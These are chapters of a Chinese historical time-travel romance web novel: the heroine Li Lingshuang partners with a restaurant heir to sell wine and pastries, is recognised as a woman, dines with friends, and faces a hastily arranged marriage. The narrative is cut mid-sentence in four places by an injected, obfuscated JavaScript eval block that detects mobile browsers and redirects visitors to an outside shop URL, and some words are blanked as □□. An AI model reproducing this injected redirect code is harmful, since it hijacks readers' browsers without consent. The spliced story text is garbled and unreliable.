“这……这是你做的?”范少东家看向李令双的眼神彻底变了。 “如假包换。”李令双点头,“少东家觉得,用这些,可能暂时替下‘翡翠芙蓉鸡’,安抚住客人?我们合作,您提供场地和客人,我提供货,卖了钱,按成分账。” 范少东家这回认真思索起来。 他掂量着眼前的危机,又回味着刚才尝到的绝妙滋味,终于咬了咬牙:“成!不过……分账怎么算?我醉仙楼可是老字号,地方、人手、名声都是我出……” 李令双早料到他有此一说,不慌不忙地开始讨价还价:“少东家,话不能这么说。没有我这独一份的货,您今日这关难过。我要得也不多,毕竟东西是我连夜做的,方子是我的,本钱也是我的。您看……七三如何?我七,您三。您稳赚不赔,还能解了眼前大祸。” “七三?这也太高了!”范少东家连连摇头,“顶多五五!这是我的地盘!” “□□。”李令双寸步不让,“少东家,您想想,过了今日,客人若认准了我这口,以后可是长久的生意。您就算只拿四成,也是源源不断的进项,总比看着客人都跑光了强吧?” 两人在门口你来我往,一个据理力争,一个死守底线。最后,范少东家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224405|197559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着店里越来越不满的喧哗声,又想想那点心和酒的滋味,终于一拍大腿:“行!□□就□□!但你得保证供货,而且今天你得帮我把场面稳住!” “成交!”李令双笑了。 谈妥了分成,李令双没急着去后厨,反而转身面向大堂里那些犹自愤愤不平的食客。她走到一处稍微高些的台阶上,拍了拍手,声音清亮: “诸位贵客,请稍安勿躁!范掌柜抱恙,翡翠芙蓉鸡暂时无法奉上,小店深表歉意。但醉仙楼珍视各位信任,绝不敢怠慢。为表心意,今日,特为诸位奉上几样新奇巧物与美酒,以表歉意,也请诸位品鉴!” 她示意伙计将她带来的点心每桌送上几小份试吃,又将新酒倒入杯中,那清亮的酒色和扑鼻的异香,立刻吸引了不少人的注意。 一开始,食客们还将信将疑,有的甚至面露不屑。 可耐不住那点心的卖相实在诱人,酒香又太勾人,终于有人试探着尝了一口那松软金黄的“面包”,又或是抿了一下那酥脆掉渣、内里滑嫩的“蛋挞”…… “咦?这……这是什么点心?竟如此松软香甜!” “这酒……好生清冽!够劲道,却不上头!” 赞叹声渐渐响起,盖过了之前的抱怨。 李令双见状,干脆让伙计把一部分试吃品也摆到了酒楼门外,大声宣传起“醉仙楼新品试吃”来。 门外看热闹的、路过的,也都好奇地围拢过来,你一口我一口,很快,惊叹声和询问价格的声音便响成了一片。 醉仙楼内外的场面,竟以肉眼可见的速度火热起来,甚至比往日生意最好时还要热闹几分。 另一边,集市上。 孙应丘伸了个懒腰,揉了揉发酸的手腕,看着面前纸上那几十个新得的铜板,叹了口气。 忙活一上午,帮人写了三副对联、两张状子,也就这点进账。他抬头四顾,还是没见到李令双的影子,只有小茹在一旁认真地研着墨。 他揉了揉发酸的手腕,活动了一下坐麻的腿,终于忍不住问小茹:“我说小茹姑娘,你家主子到底跑哪儿逍遥快活去了?昨日说好的一起筹资,他倒好,招呼不打就先溜了。今日更过分,这都半天了,人影都不见一个,留我在这儿喝西北风兼卖字。等他出现,我非得好好说道说道!” 小茹老实巴交地回答:“孙公子,主子留了字条,真是出门做生意去了。” “做生意?”孙应丘眉毛一挑,“做什么生意也不吱一声,神神秘秘的。别是找地方躲清闲去了吧?”他心里其实有点嘀咕,也有点不忿,说好了一起的,搭档却不见了。 坐得腰酸背痛,孙应丘决定起来活动活动腿脚,顺便去前头集市人多处逛逛。 刚走过两条街,拐过一个弯,就看见前面不远处一家酒楼门口,黑压压地围了一大群人,人头攒动,喧闹无比,还不断有人试图往里挤,也有人心满意足地捧着油纸包或提着酒壶挤出来。 “嗬,这醉仙楼……今日是有什么大酬宾吗?这么热闹?”孙应丘好奇地嘀咕着,脚下不由自主地就往那人堆走去。 12. 千金酒 醉仙楼前岂止是门庭若市,简直是人山人海。 大门被堵得水泄不通,有那性急的食客见正门走不通,竟真有几个试图从侧面矮墙翻进去,场面一度十分混乱。 孙应丘在外围踮着脚,伸长脖子瞧了半天,只瞧见一片黑压压的后脑勺和晃动的人影,别的什么也看不清。 不多时,一个发冠歪斜、衣衫凌乱的年轻公子被人群从里面被人“推”了出来,脚下不稳,直接摔了个结结实实的“狗啃泥”。 孙应丘离得近,下意识伸手扶了一把。 那公子被扶起来,也顾不上拍打身上的尘土,只是满脸懊丧,捶胸顿足,仿佛错过了天大的事。 孙应丘看着稀奇,问道:“这位仁兄,何事让你如此狼狈?” 年轻公子这才回过神,也没看扶他的人是谁,哭丧着脸道:“预定!五日后预定名单快抢没了!我能不急吗!”说罢,他深吸一口气,重整旗鼓,又要往那密不透风的人墙里扎。 结果刚挤到边缘,就被一个同样衣衫不整、满头大汗的酒楼伙计给推搡了出来:“去去去!没钱还往里挤!别耽误事儿!” 年轻公子脸涨得通红,争辩道:“我上午就在里头!那时候还是一文钱一口酒!怎的转眼就十文了?你们这是坐地起价!” 那伙计叉着腰,没好气道:“十文?那是刚刚的价了!现在里头都喊到三十文一口了!爱买不买!” “三、三十文一口?!”年轻公子倒吸一口凉气,顿时像泄了气的皮球,颓然地摇了摇头,再也挤不动了,转身垂头丧气地准备离开。 孙应丘在旁边听得目瞪口呆。三十文?还只是一口?什么琼浆玉液能金贵到这个地步? 他家境寻常,深知三十文够普通人家几日的嚼谷了。 他心下好奇更盛,几步追了上去,与那公子并肩,试探着问:“兄台留步。方才听你所言,着实惊人。这酒……真值这个价?莫不是酒楼欺客?” 那年轻公子闻言停下脚步,看了孙应丘一眼,见他书生打扮,语气也客气,脸上的沮丧稍减,叹了口气道:“兄台有所不知,那酒……唉,确非凡品。” 他咂咂嘴,似乎在回味,“色泽清亮如泉,入口却醇厚绵长,一股暖意从喉头直下丹田,劲道十足却不呛不辣,回味还有淡淡的谷物焦香。我自认也尝过不少名酒,这般纯净凛冽又韵味独特的,确是头一回。三十文一口是贵,但……唉,物以稀为贵啊。” 孙应丘越发惊奇:“竟有如此好酒?在下也算略有耳闻,却从未听过醉仙楼有此等佳酿。” 年轻公子摆摆手:“不是醉仙楼原本有的。听说是今早一位路过的娘子,带着这酒和几样新奇点心找上门,与掌柜的合作。那娘子说,这酒只有她会酿,名曰‘雪涧香’。你没听过,实属正常。” “雪涧香?娘子?”孙应丘正琢磨着这名字和来历,忽然听得身后传来“轰隆”一声巨响,夹杂着人们的惊呼和砖石落地的声音。 两人回头一看,好家伙! 那侧面的矮墙,竟真被太多人攀爬给压塌了一角!尘土飞扬间,人群惊叫着散开,又慌忙涌上去查看有没有人被埋。 所幸墙不高,很快大家七手八脚把几个灰头土脸的人挖了出来,只是受了些轻伤擦伤,无人殒命,算是不幸中的万幸。 就在这片混乱和注意力被吸引的刹那,一道纤细敏捷的人影,背着个不小的包袱,如同受惊的兔子般,从那断墙缺口处“嗖”地窜了出来!她动作极快,落地后毫不迟疑,选了个方向拔腿就跑! 紧接着,缺口处又涌出一群人来,有伙计,也有食客,指着那逃跑的背影大喊: “抓住她!娘子别跑!” “娘子留步啊!我的预定还没登记呢!” “娘子!娘子你的钱袋!钱袋落下了!” 那背影拐过街角,迅速消失,追赶的人群也呼啦啦跟着追了过去。 孙应丘站在原地,眨了眨眼。方才那奔跑之人,怎么越看越觉得眼熟?还有那慌乱中回头一瞥的侧脸轮廓…… “李……兄?”他喃喃自语,随即猛地摇头,“不对,李兄是男子,那分明是个女子装扮……可那感觉……” 李令双此刻心里叫苦不迭:怎么到哪儿都有人追啊! 她七拐八绕,总算勉强甩掉了大部分“尾巴”,躲进一条僻静无人的死胡同。 扶着墙大口喘气,心绪稍定,她才觉得不对,急忙解开怀里的包袱——里头哪里是银钱,分明是一小袋黄澄澄的小米!准是刚才慌乱中出错拿混了! 一阵强烈的无力感顿时袭来。 忙活了一整天没合眼,又粒米未进,刚才一番狂奔更是耗尽了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224406|197559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体力,此刻松懈下来,只觉得眼前阵阵发黑,胃里饿得直抽抽。 她靠着冰冷的墙壁滑坐下来,心里哀叹:今天这都什么事儿啊!要不是那群人把墙挤塌了制造混乱,她这会儿恐怕还陷在人群里出不来呢。 算了,她安慰自己,银子就当先存在酒楼掌柜那儿吧,明天再去拿也不迟。 等她拖着疲乏的步子回到家门口时。 远远就瞧见自家院门外,一高一矮两个人影杵在那儿——不是孙应丘和小茹又是谁? 孙应丘抱着手臂,看见她的女子装扮,先是一愣,随即脸上便浮起那种“果然如此”的表情,拖长了调子道:“哟——我当是谁呢。原来是李……姑娘啊!某真是眼拙,相交多日,竟连好友是雌是雄都未能辨明,实在惭愧,惭愧啊!” 小茹则是一脸惊奇又崇拜地跑过来:“姑娘!您真的会酿酒做点心啊!” 孙应丘却来了劲,嘴里“啧啧”有声:“了不得,真了不得!某也算见过些奇人异士了,可像李姑娘这样的,绝对是独一份!不但有一手让全城人疯狂的酿酒绝技,这奔跑的速度,也是常人难及啊!佩服,佩服!” 李令双听得额角直跳,没好气地回敬:“我说孙大举人,你不去你的棠梨苑找你的林姑娘,跑我这儿瞎起什么哄?走走走,我烦着呢,没空搭理你。” 孙应丘脸皮厚得很,不但不走,反而露出点可怜相:“唉,别提了。我倒是想去,可人家棠梨苑的妈妈直接把我给轰出来了。眼下在下我可是无处可去了。李姑娘你心地最善,总不能眼看着好友……流落街头,与野狗夺食吧?” “呵,光荣!真光荣!堂堂举人老爷,竟然被青楼给轰出来了!孙兄,您这可真是……光耀门楣,为天下读书人增光添彩啊!” 话虽这么挤兑,但李令双看着孙举人那强装无事、眼底却难掩疲惫和窘迫的样子,再想到林姑娘还在那种地方,心里到底一软。 她叹了口气,摆摆手:“行了行了,别在这儿杵着了。跟我走一趟。” “去哪儿?”孙应丘一愣。 “少废话,”李令双已经转身,“先去棠梨苑后门,你机灵点,想法子把掌柜的悄悄叫出来,我得把我的工钱拿回来。然后……”她顿了顿,“看看钱够不够,去把你那和姑娘赎出来。最后,给你找个能遮风挡雨的客栈。” 13. 小宴之后 李令双带着小茹和孙举人,从掌柜那儿拿回银钱,便直奔那间名为“棠梨苑”的楼子。 老鸨正在前厅拨弄算盘,见是他们,不冷不热的笑:“哟,几位可来了。不巧,林姑娘啊,已经被人赎走了,就在今儿个下午。” “赎走了?”孙应丘心里一紧,急忙问,“谁?被谁赎走了?” 老鸨慢悠悠地放下算盘:“自是和你们一伙的燕把总。他替林姑娘赎了身,还留了话,说若是几位来找,就去西街槐树胡同第三家寻他。” 孙应丘一听,脸上还是露出几分不安,凑到李令双身边,压低声音:“这燕把总……他、他为何如此热心?林姑娘那般容貌,他莫不是……”后面的话他没说全,但眼神里的担忧明明白白。 李令双闻言白了他一眼:“收起你那些有的没的心思。燕兄不是那种人,他肯出手赎人,自是好心肠,你少以小人之心度君子之腹。” 孙应丘被她说得一噎,摸了摸鼻子,小声嘀咕:“我这不是担心嘛……” 三人依言寻到西街槐树胡同。 那是一处清静的小院,燕扶已在门口等候。 他换了身利落的靛蓝色箭袖常服,更显得身姿挺拔,眉目清朗,见他们来了,唇角一扬,露出明朗的笑容:“可算来了。林姑娘在里头,一切都好。” 进了院,果然见林釉卿已换了一身干净的素色衣裙,正安静地坐在院中石凳上,虽还有些惊魂甫定的柔弱,但神色已安定了许多。 见到李令双等人,便起身便要行礼,被孙应丘慌忙拦住。 燕扶见人到齐,便笑道:“人平安赎出来了,是件喜事。不如我做东,找个地方,一来给林姑娘压惊,二来也当是庆贺,如何?” 李令双的肚子十分应景地“咕噜”叫了一声,她这才想起自己整整一天水米未进,立刻点头:“好极好极!再不吃点东西,我怕是要先走一步了。” 小茹在一旁抿嘴偷笑。 燕扶显然早有打算:“那正好,我知道城中有个好去处,菜好,景也好。” …… 酒楼临河,他们坐在二楼窗边的雅座,推开窗,潺潺水声和带着水汽的风便透了进来。 小二一见燕扶便熟稔地招呼:“哟,燕爷!您可有日子没来了!今儿个还带了这么多朋友,稀客稀客!” 他一边麻利地擦着桌子,一边如数家珍,“几位想吃点儿什么?咱们这儿,鸡有荷叶叫花鸡、红焖栗子鸡;鸭有八宝葫芦鸭、糟蒸鸭信;鱼是现捞的,清蒸鳜鱼、松鼠鳜鱼都成;羊肉有手抓羊排、葱爆羊肉;各式时蔬,江南的腌笃鲜、辽东的小鸡炖蘑菇、滇地的汽锅鸡……天南海北的风味,都齐活儿!” 这一串报下来,众人听得都有些咋舌。孙应丘小声惊叹:“乖乖,这馆子能耐不小啊,连滇地的菜都有?” 李令双也觉新奇,转头对燕扶道:“燕扶是此地旧客,不如你来点几个招牌,我们几个可挑花了眼。” 燕扶也不推辞,笑着对那小二道:“先上几样镇店的:八宝葫芦鸭、清蒸鳜鱼、腌笃鲜,再配几个清爽时蔬,一壶好酒。其余的菜系,你们日后多来几次,自然就尝遍了。” 点完了菜,燕扶很自然地提起桌上粗糙的陶壶,给大家斟茶。清澈的茶水注入杯中,热气袅袅升起。 轮到李令双时,河风正好从窗口溜进来,顽皮地撩起她额前几缕细软的碎发。 那发丝飘呀飘,竟迷了她自己的眼睛。 燕扶几乎想都没想,手便抬了起来,想替她拨开。 指尖刚靠近,李令双自己已抬手将发丝捋到耳后,朝他笑了笑:“好啦。” 手在半空顿住,转而摸了摸鼻子。燕扶也笑了下,收回手。 一时无人说话,只听着窗外隐约的水声和厨房里传来的锅铲轻响。 “李姑娘,你家……住在城里哪一片?” 李令双正望着河面出神,闻言回过头,很自然地摇了摇头,语气里带着一种不属于她这个年纪的、淡淡的疏离:“我没有家。” 她说得平淡,仿佛在陈述一个再简单不过的事实。对她而言,穿越而来,虽有父有家,但那更像是一个需要适应的陌生环境,一个“栖身之所”,而非心灵所系的“家”。 燕扶微微一怔。他见过她机敏狡黠、怒怼孙举人、在青楼周旋老鸨的样子,却没想到她会说出这样一句话。 他直觉这话背后或许有故事,但见她神色淡然,并无倾诉之意,便也体贴地不再追问,只顺着话头,用轻松的语气道:“家暂时没有,那名字总有的吧?我总不能一直‘李姑娘’、‘李姑娘’地叫你。上次你说的‘李武’,我可不信呢!” 李令双抬眼看他。暮色中,他侧脸线条清晰,眼神明亮,带着少年人特有的真诚与好奇,没有探究,只有朋友间的随意询问。她忽然觉得,一直用假名应付,似乎也没什么意思。 她端起茶杯,抿了一口微烫的茶水,氤氲的热气模糊了她一瞬的表情。然后,她放下杯子,迎着燕扶的目光,嘴角弯起一个清浅的弧度: “李清弄。”她清晰地吐出三个字。这是她前世之名,而非此世的李令双。 一旁的小茹听了,刚想下意识说“姑娘你何时没有家了,何时又叫李清弄了”,话到嘴边又咽了回去。她看着姑娘的神情,抿了抿唇,终究没有插话。 “李清弄?”燕扶轻声重复了一遍,“哪个清?哪个弄?” 孙应丘正在旁边饿得眼冒金星,闻言忍不住插嘴:“清水的清吗?弄……弄啥来着?拨弄琴弦的弄?” 他自己也拿不准,看向李令双。 李令双正要开口—— 恰在此时,先前那小二笑呵呵地端着大托盘来了,顿时香气四溢,打断了话头。 “来喽!客官们久等!” 小二将热气腾腾的菜一道道摆上桌。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224407|197559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这也太香了!”李令双深吸一口气,眼睛亮晶晶的,“开动开动!” 孙应丘早已等不及,先夹了一块鸭肉。鸭肉酥烂,入口即化,内里的八宝糯米馅料软糯咸香,夹杂着火腿丁、香菇丁、莲子等,口感层次极为丰富。“妙!这鸭子绝了!”他含糊不清地赞道。 燕扶则先替林釉卿、小茹、孙应丘各盛了半碗腌笃鲜,温言道:“先喝点热汤暖暖胃。” 又给李令双夹了一块鱼腹肉,那里最是细嫩无刺,“尝尝这鱼,应是今早才从河里捞上来的,最是新鲜。” 李令双从善如流,鱼肉入口,果然鲜甜嫩滑,只用了简单的葱姜酱油调味,却将鳜鱼的本味烘托到了极致。“好吃!”她毫不吝啬夸奖,又舀了一勺汤,咸鲜的滋味在舌尖化开,带着春笋特有的清甜,熨帖得肠胃都舒展开来。 席间话题便也随意起来,多是孙应丘在说些书坊趣闻,燕扶偶尔接几句卫所中见闻,李令双时而插科打诨几句,气氛轻松融洽。林釉卿话虽少,但神色渐渐放松,也小口吃着饭菜。 吃到后来,孙应丘抚着肚子感慨:“今日这顿,怕是接下来三天想起都要流口水。” 饭毕,燕扶见大家都吃得差不多了,燕扶唤来小二结了账,一行人便起身,出了这酒楼。 …… 夜间,对面酒楼里,江彧刚结束一场避无可避的应酬。 觥筹交错,言笑敷衍,一番应对下来,他只觉倦意沉沉。带着随从走出酒楼门口,晚风一吹,才将心中郁结驱散些许。 他正要下阶,脚步却几不可察地一顿。 随处诧异地顺着他的视线望去。 只见斜对面一家酒楼门前,檐下挂着的灯笼被风吹得轻轻摇晃,投下一片暖黄氤氲的光晕。 光晕里,李令双正与一名牵马的年轻男子道别。她今日穿了身鹅黄的衫子,在灯下愈发显得鲜妍灵动,不知对方说了句什么,她侧脸笑起来,眉眼弯弯。 那男子一身利落的深色劲装,身姿挺拔,牵马而立,正是卫所的燕扶。两人一站一立,低声说着话,灯影将他们的影子拉得细长,偶尔交叠在一处。 一个言笑晏晏,鲜活动人;一个少年意气,专注倾听。灯火朦胧,夜风微醺,远远看去,竟有几分难言的…… 随处心里咯噔一下,小心翼翼地觑了眼自家大人的脸色,低声道:“大人,那不是燕把总吗?可要叫他过来问话?” 江彧面上无波无澜,像深潭的水,什么也瞧不出来。他的视线从那幅“灯下话别图”上平静地收回,仿佛只是无意中瞥见了一片无关紧要的落叶。 “不必。” 他淡声道,旋即转身,步履如常地朝着回府的方向走去。衣袍在夜风中微微拂动,背影清直。 走了几步,他才像想起什么似的,开口吩咐,声音在寂静的街巷里听不出任何情绪: “明日,你去卫所,替我问燕扶几句话。” 14. 纳征 孙应丘眼下没别处可去,便也暂且在燕扶那处不大却清静的宅院里安顿下来,打算蹭书房备考。 与他们在巷口道了别,李令双和小茹二人往家走。街上已没什么行人,只有打更人悠长的梆子声在夜色里回荡。 待回到家时,院子里黑黢黢的,只有堂屋的门缝里透出一线暖黄的灯光。 她刚松了口气,想着偷偷溜回房,那门却“吱呀”一声开了。 她爹李老三披着件外衣,正站在门口,沉着脸,手里还捏着那杆不离身的烟袋锅子,火星子在夜色里明明灭灭。 她心里咯噔一下,脚步顿时黏在了地上。 “回来了?”李老三的声音比夜色还沉,“上哪儿去了,这么晚?” “没、没去哪儿,”李令双定了定神,努力让声音听起来轻松些,“就在街上随便逛了逛,看热闹,忘了时辰。” 她身后的小茹低着头,一声不敢吭。 李老三没接话,只是借着堂屋透出的光,上上下下地打量着她。 那目光里有担忧,有疲惫,还有深深的困惑。 眼前这闺女,模样还是那个模样,可那股精气神,做事的胆量,说话行事的味道……跟他养了十几年的那个有点任性但胆子不大、心思简单的女儿,像是两个人。 “爹,”李令双实在累得眼皮打架,昨日一夜没合眼,白天又连轴转,“女儿真累了,有什么事明天再说成不?我先回屋歇着了。” 李老三看着女儿脸上掩不住的倦色,那责备的话在喉咙里滚了几滚,终究是没说出来。他重重叹了口气,挥了挥手:“去吧。” 看着女儿脚步有些踉跄地回了西厢房,李老三却没了睡意。 他回屋躺下,身边的继室刘氏翻了个身,幽幽地开了口,编排了李令双一番……句句都敲在李老三最犯愁的地方。 他闷声不响地听着,心里那点因女儿平安回来的欣慰,渐渐被更深的烦闷压了过去。 …… 李忠找到燕扶时,他刚带着一队兵士操练完,正仰头灌着凉水,喉结滚动,一身赭红色的戎服衬得人意气风发。 “燕把总。”李忠上前,拱了拱手。 燕扶见是江彧身边的人,放下水囊,神色认真起来:“李管事,可是大人有急事?” “并非急务,是大人有一句私话,让小的带到。大人让问燕把总一句:你对江大人的未婚妻李令双姑娘,可属意?” “李令双?”燕扶一愣,眉头困惑地蹙起。这名字于他全然陌生,脑海中搜索不出一张对应的面孔,“你这话说得奇怪,我又怎会对江大人的未婚妻有意!” 他的反应坦荡直接,不带丝毫作伪。李忠观其神色,心下更定,便接着道出后半句: “若你有意,江大人说,他可以成全。” “成全?”燕扶失笑,笑容里带着少年人特有的明朗与不解,“李管事莫不是传错了话?在下怎会喜欢江大人的未婚妻,又何须大人成全?这话从何说起?” 他的否认干净利落,眼神清澈,寻不到半点心虚或遮掩。李忠看得分明,点了点头。 “那便好。另外,大人让知会您一声:他订于本月中旬成婚,届时请燕把总务必拨冗,过府喝一杯喜酒。” “成婚?”这消息燕扶倒是听卫所的弟兄们议论过一两句,只是不知具体日子。他立刻抱拳,朗声应道:“这是自然!江大人的喜事,卑职定当到场恭贺,讨一杯彩头!” 对话到此,李忠任务完成,客气地告辞。 可就在他转身离去的那一刻,燕扶脸上明朗的笑容,几不可察地淡了一瞬。一股毫无来由的空茫感,毫无征兆地从心底最深处涌起,迅速弥漫开来。 他站在深秋的阳光下,看着李忠走远的背影,四周是兵士们操练的呼喝声,一切都鲜明而真实。可他却忽然觉得,自己好像……错过了什么极其重要的东西。 他甩了甩头,试图驱散这莫名的心绪。 “定是近日操练多了劳累,想多了。”他低声自语,重新抓起地上的水囊,仰头将剩下的凉水一饮而尽。 江府书房。 李忠垂手禀报:“……燕把总神色坦荡,直言不属意李令双其人,对‘成全’之语颇感诧异。听闻大人婚讯,倒是答允得爽快。” 江彧正在临帖,笔锋未停,只淡淡“嗯”了一声。 这个结果,在他意料之外。那点因灯下景象而生出的、微乎其微的疑虑,至此烟消云散。 …… 今儿一大早,江彧那边就派人送了聘雁和礼书过来,大红绸子扎着,沉甸甸地抬进了李家院子。 这雁一送,婚书一换,便算是纳征完毕,这门亲事至此就算是铁板钉钉,再无转圜余地了。婚期就定在十四日后,日子赶得让人喘不过气。 李令双瞧着院子里那对被缚住翅膀、犹自扑腾的大雁,心里头比那雁还乱。 这也太急了,十四天?她上辈子连正儿八经的恋爱都没谈过,这辈子倒好,直接一步到位要跟个陌生男人同床共枕、朝夕相对了?光是想一想,就觉得浑身不自在,胃里也跟着拧劲儿。 她烦躁地推开窗。时值深秋,外头天色是一种灰蒙蒙的、带着水汽的灰色。空气里满是凉意,吸一口,直透到肺部。 …… 李令双心里憋闷得紧,脚下一拐,竟不知不觉走到了燕府门口。 她抬手敲了敲门,开门的是老门子,一见她便笑开了花:“哟,是李姑娘啊!快请进,快请进!” 李令双跟着往里走,边走边问:“你家公子呢?孙举人和林姑娘也在吧?” “公子还没下衙呢,估摸着还得半个时辰。”老门子引着她往正厅去,“孙举人在书房备考,林姑娘在旁边帮着磨墨,正用功呢。” 到了正厅,老门子奉上热茶:“今儿府上冷清,姑娘要是闷了,可以去后头园子逛逛,秋色还不错。” 李令双点了点头,心里那点烦闷却无处可去。她在正厅坐了一会儿,茶喝了两口,终究还是起身,漫无目的地踱到院子里。 过了好一阵,燕扶才踏着暮色匆匆归来。听门子说李姑娘来了,还在外头桂花树下等着,他脚步一顿,心中不知怎的微微一动,转身便寻了过去。 院子里有一棵极大的桂花树。此时虽已深秋,过了最盛的花期,但枝头仍残留着不少金灿灿的小花,风过处,甜馥的香气丝丝缕缕,缠绵不绝,比春日任何花香都来得醇厚醉人。 树下站着个人。 她穿着一身水绿的衫子,外面罩了件藕荷色的比甲,立在漫天甜香与簌簌落叶里,脚尖无意识地碾着地上的小石子,微微低着头,不知在想什么。 燕扶的脚步顿了一下。 似乎是听到脚步声,李令双抬起头来。 她脸上没什么妆饰,双颊泛着自然的红晕,像初熟的桃尖。看见他,她眼睛一亮,嘴角便弯了起来,露出一个清甜又带着点狡黠的笑。 就在她抬眸展颜的刹那—— 望着她唇角的笑意,燕扶忽觉心头如三月冰封的湖,乍然迸裂开第一道细纹。那裂纹无声蔓延——直到轰然碎开,万千冰棱化作春水,浩浩汤汤,再难收拾。 某种陌生而汹涌的东西,就这样毫无征兆地决了堤。 他强定了心神,才听到自己还算平稳的声音:“李姑娘,你找我?” 李令双见他回来,诚实道:“心里堵得慌,想找你们说说话。不过孙举人他们正用功,我不好打扰。” 燕扶见她眉宇间确有郁色,便道:“今日正巧是‘秋灯节’,不算什么正经大节,但城里河边会有灯市,也算热闹。不如我带你出去走走?人声热闹些,或许心情也能散开。” 李令双正愁没处去,立刻点了点头。 …… 所谓的“秋灯节”,大约是秋收后农闲,百姓自娱自乐的小节。天色将暗未暗,长街上已挂起不少灯笼,虽不及上元灯会那般火树银花,却也别有一番温馨热闹。 卖吃食的、卖小玩意的摊子沿街摆开,麦芽糖的甜香、烤栗子的焦香混在人群的喧嚷里。孩童举着简单的纸灯笼跑来跑去,笑声清脆。 街市尽头连着一条不宽的内河,水波映着两岸灯火,碎金粼粼。 许多年轻男女和带着孩子的人家聚在河边,正往水里放一盏盏小小的莲花灯,灯影摇曳,顺水漂流,像一条落入凡间的星河。 两人并肩走着,李令双被这人间烟火气包裹着,胸中那口闷气似乎真的散了些。 正看得出神,一个挎着篮子、约莫七八岁的小童灵活地挤到他俩面前,举起两盏最简单的素色莲花灯,声音清脆: “公子,给你家娘子买盏灯吧!今儿秋灯节,在河边放了灯,许的愿河神娘娘都能听见,灵验得很!” 李令双愕然,脸腾地一热,下意识想解释:“我们不是……” 话未说完,却见燕扶已经干脆地掏钱,买下了两盏灯,还顺手多给了那小童几个铜子。 他把其中一盏递给她,脸上神色自然,耳根在灯笼光下却似乎有些不易察觉的红。 “既是习俗,不妨一试。”他声音如常。 李令双接过那盏轻飘飘的纸灯。 两人寻了个人稍少的河段,蹲下身,将灯轻轻放入水中。小小的灯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224408|197559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盏载着一点暖黄的光,晃晃悠悠地汇入灯河,向下游漂去。 “你许了什么愿?”李令双看着远去的灯光,轻声问。 燕扶目光也追随着那一点光,声音在夜色和流水声中显得格外清晰:“我敬佩本县的江大人。他在此地及周边有些御赐田产,眼见土地兼并愈演愈烈,百姓失地,竟主动将那些田产尽数散与无地的农人耕种。” “为官一任,能如此心系黎庶,实属难得。他是极好的文官,是我的榜样。” 他顿了顿,语气里带上一种纯粹的向往,“我也想做个很好的武官,保境安民,若有一日马革裹尸,亦是归宿。” 他的父亲是镇守边关的永昌侯,他日后自然也要奔赴沙场,马革裹尸。但父亲让他先在此地历练,此县虽也有剿匪安民之责,比起直接面对境外强敌的生死搏杀,终归安稳许多。 沿边州县不少,他独独选了这丰安县,是因早年便听过江彧的官声——爱民如子,治政有方,更难得的是为人清正谦和,自有风骨。他听说江彧在于县及周边有不少御赐田产,眼见田土兼并愈烈,竟主动将那些田产尽数散与无地农人耕种。 燕扶敬重这样的人,故而甘心在其治下,从一名普通把总做起。 李令双听得怔住了。江彧……竟是这样的人?她只从模糊的记忆和旁人口中拼凑出他是一个“冷情未婚夫”的形象,却从未听说他竟肯为了百姓做到这个地步。散尽御赐田产,这不止是清廉了。 李令双转头看燕扶。灯火阑珊处,他的侧脸轮廓清晰,眼眸映着河面碎光,亮得惊人。她忽然觉得,这个看似洒脱不羁的少年心里,藏着一片很广阔的天地。 “世间熙攘,多为己谋;能如江大人这般割舍己利、心系万民,已非常人。而你……”她侧首看向他,由衷说道,“志在沙场,心向黎民。将‘守护’当作归宿,这本身,就是一种让人仰望的光明。” 这话说得真切,不似寻常客套。燕扶闻言,心湖像被投入一颗石子般,涟漪轻荡,他唇角不自觉地微弯。 但想起她此刻眉间挥之不去的轻愁,那点笑意便悄然隐去。 他温声问道,语气是朋友间独有的关切:“对了,你之前说心里难受,可是遇着什么难处了?” “若你愿意说与我听,或许……我能帮着参详一二?即便帮不上大忙,有个人听听,心里或许也能松快些。” 河风微凉,吹动她颊边的碎发。 